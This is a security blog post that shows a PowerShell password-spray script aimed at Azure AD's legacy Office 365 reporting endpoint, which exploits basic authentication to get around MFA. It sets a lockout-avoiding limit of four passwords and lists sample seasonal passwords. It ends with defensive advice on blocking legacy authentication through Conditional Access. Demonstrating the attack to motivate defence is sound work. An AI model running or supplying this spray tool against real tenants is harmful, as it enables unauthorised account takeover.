Azure AD Password Spray Attacks with PowerShell and How to Defend your Tenant

In my last blog post I wrote about user enumeration in Azure AD and how easy it is for a malicious actor to find out if an email address is connected to an Azure AD account or not. This is often the first step in an attack against a Microsoft tenant.

When the malicious actor has a list of valid targets, the next step is to gain access to one or more accounts. Ones you have access to one account, it’s often a peace of cake to take the whole tenant by using social engineering and what not.


In this article I will show you how a password spray attack with PowerShell can look and how an organisation should protect itself from it. In this attack I take advantage of the fact that the demo organisation allows legacy authentication in Office 365, which is still very common. Legacy authentication, as opposed to Modern authentication, bypasses MFA. So even if you’ve enabled MFA for all your users, you haven’t built any security at all as long as you allow legacy authentication in your tenant. Remember, a malicious actor always takes the easy way in.

I’m using the old Office 365 reporting API endpoint for this attack. This endpoint, as of writing (17th of March 2020), allows basic authentication.

You can try it out with your browser:


This PowerShell script loops through an array of usernames (email addresses) and tries the authentication against the reporting API with one or more passwords. Don’t use more than four passwords at a time since you might trigger Smart Lockout and users will get locked out.

This script is a proof of concept and for testing purposes only. Do not use this script in an unethical or unlawful way. Don’t be stupid!

function Invoke-AzureAdPasswordSprayAttack {
        Perform a password spray attack against Azure AD.
        The script will perform a password spray attack against Azure AD (using the legacy Office 365 reporting API is used with basic authentication). This script will not work if legacy authentication in Azure AD is blocked. Use Conditional Access to protect your organisation.
        Specify a list of usernames (email addresses) to attack with the -UserName parameter. Specify passwords to try with the -Password parameter. If you try more than four passwords, users may be blocked by Smart Lockout in Azure AD.
    .PARAMETER UserNames
        An array of one or more usernames to attack.

    .PARAMETER Passwords
        An array of one or more passwords to try. Don't lock users out!
        $UserNames = "",

        $Passwords = "Sommar2019", "Sommar2020", "Sommar2019!", "Sommar2020!"

        Invoke-AzureAdPasswordSprayAttack -UserNames $UserNames -Passwords $Passwords
        Version:        1.0
        Author:         Daniel Chronlund
        Creation Date:  2020-03-16
        Warning: This script is a proof of concept and for testing purposes only. Do not use this script in an unethical or unlawful way.

    param ($UserNames, $Passwords)

    Write-Verbose -Verbose -Message "Starting password spray attack ($($UserNames.Count) users)..."

    # Set progress counter.
    $i = 0

    Write-Progress -Activity "Running password spray attack" -Status "0% complete:" -PercentComplete 0;

    foreach ($UserName in $UserNames) {
        # Try every password.
        foreach ($Password in $Passwords) {
            # Convert password to secure string.
            $SecureString = $Password | ConvertTo-SecureString -AsPlainText -Force
            # Create PSCredential object from username and password.
            $Cred = New-Object System.Management.Automation.PSCredential($UserName, $SecureString)
            # Try to connect to Office 365 reporting API with basic authentication.
            try {
                Invoke-WebRequest -Uri "" -Credential $Cred | Out-Null
                # Create custom object.
                $UserObject = New-Object -TypeName psobject
                $UserObject | Add-Member -MemberType NoteProperty -Name "UserName" -Value $UserName
                $UserObject | Add-Member -MemberType NoteProperty -Name "Password" -Value $Password
            } catch {
                # Do nothing.

        # Add to counter.

        # Write progress.
        Write-Progress -Activity "Running password spray attack" -Status "$([math]::Round($i / $UserNames.Count * 100))% complete:" -PercentComplete ([math]::Round($i / $UserNames.Count * 100));

# Example:

$UserNames = "",

$Passwords = "Sommar2019", "Sommar2020", "Sommar2019!", "Sommar2020!"

Invoke-AzureAdPasswordSprayAttack -UserNames $UserNames -Passwords $Passwords

This is an example result where a password matched:


At this point you are owned. So what do you need to do to protect against this attack? Well, first of all you need to block legacy authentication completely to make sure that attackers don’t bypass MFA. This is done with a simple Conditional Access policy. Please check my Conditional Access baseline and specifically have a look at the BLOCK – Legacy Authentication policy.

Azure AD Conditional Access Policy Design Baseline

Attempts will be blocked and logged like this in the Azure AD sign-ins log.


Have a look at this insights workbook in Azure AD to predict how blocking legacy authentication might impact your ogranisation.

When legacy authentication is blocked, you need to enable strong authentication with MFA and/or password-less. The Conditional Access baseline mentioned above takes care of that as well.

The purpose of this article is to show you how vulnerable you are if you haven’t blocked legacy authentication. Microsoft is working hard to get rid of these old endpoints but this is still many months away and you need to act now! Spread the word!

Please follow me here, on LinkedIn and on Twitter.